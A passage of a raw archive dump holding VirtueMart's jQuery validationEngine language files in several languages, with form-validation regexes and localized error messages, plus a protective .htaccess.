*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Ungültige URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Nur Zahlen erlaubt" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Nur Buchstaben erlaubt" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Keine Sonderzeichen erlaubt" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Dieser Benutzer ist bereits vergeben", "alertTextLoad": "* Überprüfe Angaben, bitte warten" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Dieser Name ist bereits vergeben", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Dieser Name ist verfügbar", // speaks by itself "alertTextLoad": "* Überprüfe Angaben, bitte warten" }, "validate2fields": { "alertText": "* Bitte HELLO eingeben" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\.;3@com_virtuemart/assets/js/languages/jquery.validationEngine-nl.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "geen", "alertText": "* Dit veld is verplicht", "alertTextCheckboxMultiple": "* Selecteer a.u.b. een optie", "alertTextCheckboxe": "* Dit selectievakje is verplicht" }, "minSize": { "regex": "none", "alertText": "* Minimaal ", "alertText2": " karakters toegestaan" }, "maxSize": { "regex": "none", "alertText": "* Maximaal ", "alertText2": " karakters toegestaan" }, "min": { "regex": "none", "alertText": "* Minimale waarde is " }, "max": { "regex": "none", "alertText": "* Maximale waarde is " }, "past": { "regex": "none", "alertText": "* Datum voorafgaand aan " }, "future": { "regex": "none", "alertText": "* Datum na " }, "maxCheckbox": { "regex": "none", "alertText": "* Toegestane aantal vinkjes overschreden" }, "minCheckbox": { "regex": "none", "alertText": "* Selecteer a.u.b. ", "alertText2": " opties" }, "equals": { "regex": "none", "alertText": "* Velden komen niet overeen" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Ongeldig telefoonnummer" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Ongeldig e-mailadres" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Ongeldig geheel getal" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Ongeldig drijvende comma getal" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Ongeldige datum, formaat moet JJJJ-MM-DD zijn" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Ongeldig IP-adres" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Ongeldige URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Alleen cijfers" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Alleen leestekens" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Geen vreemde tekens toegestaan" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Deze gebruiker bestaat al", "alertTextLoad": "* Bezig met valideren, even geduld aub" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Deze naam bestaat al", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Deze naam is beschikbaar", // speaks by itself "alertTextLoad": "* Bezig met valideren, even geduld aub" }, "validate2fields": { "alertText": "* Voer aub HELLO in" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\@com_virtuemart/assets/js/languages/jquery.validationEngine-pt.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Campo obrigatório", "alertTextCheckboxMultiple": "* Selecione uma opção", "alertTextCheckboxe": "* Campo obrigatório" }, "minSize": { "regex": "none", "alertText": "* Mínimo ", "alertText2": " carateres permitidos" }, "maxSize": { "regex": "none", "alertText": "* Máximo ", "alertText2": " carateres permitidos" }, "min": { "regex": "none", "alertText": "* O valor mínimo é " }, "max": { "regex": "none", "alertText": "* O valor máximo é " }, "past": { "regex": "none", "alertText": "* Data anterior a " }, "future": { "regex": "none", "alertText": "* Data posterior a " }, "maxCheckbox": { "regex": "none", "alertText": "* Foi ultrapassado o número máximo de escolhas" }, "minCheckbox": { "regex": "none", "alertText": "* Selecione ", "alertText2": " opções" }, "equals": { "regex": "none", "alertText": "* Os campos não correspondem" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Número de telefone inválido" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Endereço de email inválido" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Não é um número inteiro" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Não é um número decimal" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data inválida, o formato deve de ser AAAA-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Número IP inválido" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL inválido" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Só é permitido números" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Só é permitido letras" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Só é permitido letras e números" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Nome de utilizador não disponível", "alertTextLoad": "* A validar, por favor aguarde" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Nome não disponível", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Nome disponível", // speaks by itself "alertTextLoad": "* A validar, por favor aguarde" }, "validate2fields": { "alertText": "* Escreva HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKGy>\Et@com_virtuemart/assets/js/languages/jquery.validationEngine-ro.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Acest camp este obligatoriu", "alertTextCheckboxMultiple": "* Selectati o optiune", "alertTextCheckboxe": "* Aceasta optiune este obligatorie" }, "minSize": { "regex": "none", "alertText": "* Minim ", "alertText2": " caractere permise" }, "maxSize": { "regex": "none", "alertText": "* Maxim ", "alertText2": " caractere permise" }, "min": { "regex": "none", "alertText": "* Valoarea minima este " }, "max": { "regex": "none", "alertText": "* Valoarea maxima este " }, "past": { "regex": "none", "alertText": "* Data inainte de " }, "future": { "regex": "none", "alertText": "* Data dupa " }, "maxCheckbox": { "regex": "none", "alertText": "* Limita maxima de optiuni a fost depasita" }, "minCheckbox": { "regex": "none", "alertText": "* Selectati cel putin ", "alertText2": " optiuni" }, "equals": { "regex": "none", "alertText": "* Campurile nu coincid" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Numar de telefon eronat" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Adresa de email eronata" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Numar intreg eronat" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Numar zecimal eronat" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data eronata, formatul de introducere este: YYYY-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Adresa IP eronata" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL eronat" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Doar numere" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Doar litere" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Caracterele speciale (',', '.', '-', etc) nu sunt permise" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Acest nume de utilizator este deja folosit", "alertTextLoad": "* Se valideaza, va rugam asteptati" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Acest nume este deja folosit", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Acest nume este disponibil", // speaks by itself "alertTextLoad": "* Se valideaza, va rugam asteptati" }, "validate2fields": { "alertText": "* Introduceti: HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKGy>\-com_virtuemart/assets/js/languages/index.htmlnuW+APKGy>\),com_virtuemart/assets/js/languages/.htaccessnuW+A Order allow,deny Deny from all PKGy>\"Y=@com_virtuemart/assets/js/languages/jquery.validationEngine-es.jsnuW+A (function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Este campo es requerido", "alertTextCheckboxMultiple": "* Por favor selecciona una opción", "alertTextCheckboxe": "* Este checkbox está requerido" }, "minSize": { "regex": "none", "alertText": "* Mínimo de ", "alertText2": " caracteres autorizados" }, "maxSize": { "regex": "none", "alertText": "* Máximo de ", "alertText2": " caracteres autorizados" }, "min": { "regex": "none", "alertText": "* Valor mínimo es " }, "max": { "regex": "none", "alertText": "* Valor máximo es " }, "past": { "regex": "none", "alertText": "* Fecha anterior a " }, "future": { "regex": "none", "alertText": "* Fecha posterior a " }, "maxCheckbox": { "regex": "none", "alertText": "* Se ha excedido el número de opciones permitidas" }, "minCheckbox": { "regex": "none", "alertText": "* Por favor seleccione ", "alertText2": " opciones" }, "equals": { "regex": "none", "alertText": "* Los campos no coinciden" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Número de teléfono inválido" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Correo inválido" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* No es un valor entero válido" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* No es un valor decimal válido" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Fecha inválida, por favor utilize el formato AAAA-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Direccion IP inválida" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL Inválida" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Sólo números" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Sólo letras" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* No se permiten caracteres especiales" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertTextLoad": "* Cargando, espere por favor", "alertText": "* Este nombre de usuario ya se encuentra usado" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Este nombre ya se encuentra usado", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Este nombre está disponible", // speaks by itself "alertTextLoad": "* Cargando, espere por favor" }, "validate2fields": { "alertText": "* Por favor entrar HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\+.> > @com_virtuemart/assets/js/languages/jquery.validationEngine-ja.jsnuW+A;/***************************************************************** * Japanese language file for jquery.validationEngine.js (ver2.0) * * Transrator: tomotomo ( Tomoyuki SUGITA ) * 